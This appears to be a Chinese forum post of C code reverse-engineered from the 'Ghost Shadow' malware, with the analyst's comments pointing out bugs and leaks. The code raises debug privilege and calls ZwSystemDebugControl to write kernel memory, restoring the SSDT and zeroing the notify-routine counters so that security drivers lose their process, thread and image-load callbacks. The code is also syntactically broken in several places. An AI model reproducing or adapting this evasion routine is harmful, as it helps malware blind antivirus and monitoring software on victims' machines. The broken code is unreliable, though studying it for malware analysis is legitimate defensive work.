代码:
/*************************************************************************************** * * 分析了一下“鬼影”病毒,从里面扒了段代码出来。 * * 该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除 * PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、 * PsSetCreateThreadNotifyRoutine 三个钩子。 * * 代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。 * * 逆向 by Fypher * http://hi.baidu.com/nmn714 * ****************************************************************************************/ BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子 // 先提权 HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tkp; if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) { if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) { tkp.Privileges[0].Luid.LowPart = luid.LowPart; tkp.Privileges[0].Luid.HighPart = luid.HighPart; tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0); } } CloseHandle(hObject); // 此处有bug // 获取所需函数,应该检查一下返回值 char strProcName[32] = "ZwSystemDebugControl"; HMODULE hNtdll = GetModuleHandle("ntdll"); ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName); strcpy(strProcName, "NtQuerySystemInformation"); NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName); // 查询系统模块信息 ULONG ulRet = 0; NTSTATUS status; status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet); if (status != STATUS_INFO_LENGTH_MISMATCH) return 0; // 这里写得不好,没有检查返回值,并且用 heap 类函数快得多 HLOCAL hlocal = LocalAlloc(LPTR, ulRet); status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet)) return 0; // 此处有资源泄露,应该释放 hlocal // WS的方式把 ntoskrnl 的真名找到了 PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4); char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName; HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES); if (!hNtoskrnl) return 0; // 此处有资源泄露,应该释放 hlocal // 准备恢复SSDT strcpy(strProcName, "KeServiceDescriptorTable"); ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl; ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE; // 取得基址,多余操作 ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase; // 取PE头 ULONG ulImageBase = *(PULONG)(ulPEHdr + 52); // 取 ImageBase ULONG ulSSDTAddr = ulImageBase + ulSSDToffset; MEMORY_CHUNKS QueryBuff; QueryBuff.Address = (ULONG)ulSSDTAddr; ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80); // 取 SizeOfImage PVOID lpAddress; int i = 0; if (ulSizeOfImage) { while (1) { lpAddress = (LPVOID)(ulNtoskrnlBase + i); // 寻找 mov ds:KeServiceDescriptorTable, xxxxxxxx // 特征码 C7 05 SSDT xxxx if (*(PULONG)(lpAddress) == ulSSDTAddr ) { if ( *(WORD *)(lpAddress - 2) == 0x5C7 ) break; } ++i; if (i >= ulSizeOfImage) break; } if (i <ulSizeOfImage) QueryBuff.Address = *((PULONG)lpAddress + 1); } if (i == ulSizeOfImage) { return 0; // 此处有资源泄露,应该释放 hNtoskrnl 和 hLocal } else { // 此处有bug, i > ulSizeOfImage后程序会流向此处 PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase); DWORD dwOldProtect = 0; VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect); // 这里应该检查返回值 int num = 280; // 这里写得不好,函数个数应该动态获取 do { FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase; --num; } while (num >= 0); // 恢复SSDT DWORD dwRet; QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase; QueryBuff.Data = FunAddr; QueryBuff.Length = 1120; // 这里写得不好,函数个数应该动态获取 status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet); if ( bArg ) { // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子 // 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子 strcpy(strProcName, "PsSetLoadImageNotifyRoutine"); ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName); QueryBuff.Address = ulProcAddr; if ( *(WORD *)ulProcAddr != 0xCCCC ) { // 此处有bug do { ++ulProcAddr; } while ( *(WORD *)ulProcAddr != 0xCCCC ); while (ulProcAddr > QueryBuff.Address ) { // 寻找 PsImageNotifyEnabled // mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。 if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) { ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2); // 将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子 int buff = 0; QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase; QueryBuff.Data = &buff QueryBuff.Length = 1; status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet); break; } --ulProcAddr; } } // 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子 strcpy(strProcName, "PsSetCreateProcessNotifyRoutine"); ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName); QueryBuff.Address = ulProcAddr; if ( QueryBuff.Address < QueryBuff.Address + 256 ) { // 找函数出口,retn 8 while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) { ++ulProcAddr; if (ulProcAddr >= QueryBuff.Address + 256) break; } while ( ulProcAddr < QueryBuff.Address + 256 ) { // 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) { if (*(PULONG)(ulProcAddr + 1) > 0x400000) { // 取得_PspCreateProcessNotifyRoutineCount int buff = 0; QueryBuff.Address = *(PULONG)(ulProcAddr + 1); QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase; QueryBuff.Data = &buff; QueryBuff.Length = 4; status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet); break; } ulProcAddr += 4; } ++ulProcAddr; } } // 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了 strcpy(strProcName, "PsSetCreateThreadNotifyRoutine"); ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName); QueryBuff.Address = ulProcAddr; while (1) { if (ulProcAddr >= QueryBuff.Address + 256) break; if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2)) break; ++ulProcAddr; } for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) { if ((*(BYTE *)addr & 0xF8) == 0xB8) { if (*(PULONG)(addr + 1) > 0x400000) { int buff = 0; QueryBuff.Address = *(PULONG)(ulProcAddr + 1); QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase; QueryBuff.Data = &buff; QueryBuff.Length = 4; status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet); break; } addr += 4; } } } FreeLibrary(hNtoskrnl); return NT_SUCCESS(status); // 此处有资源泄露,应该释放 hlocal } }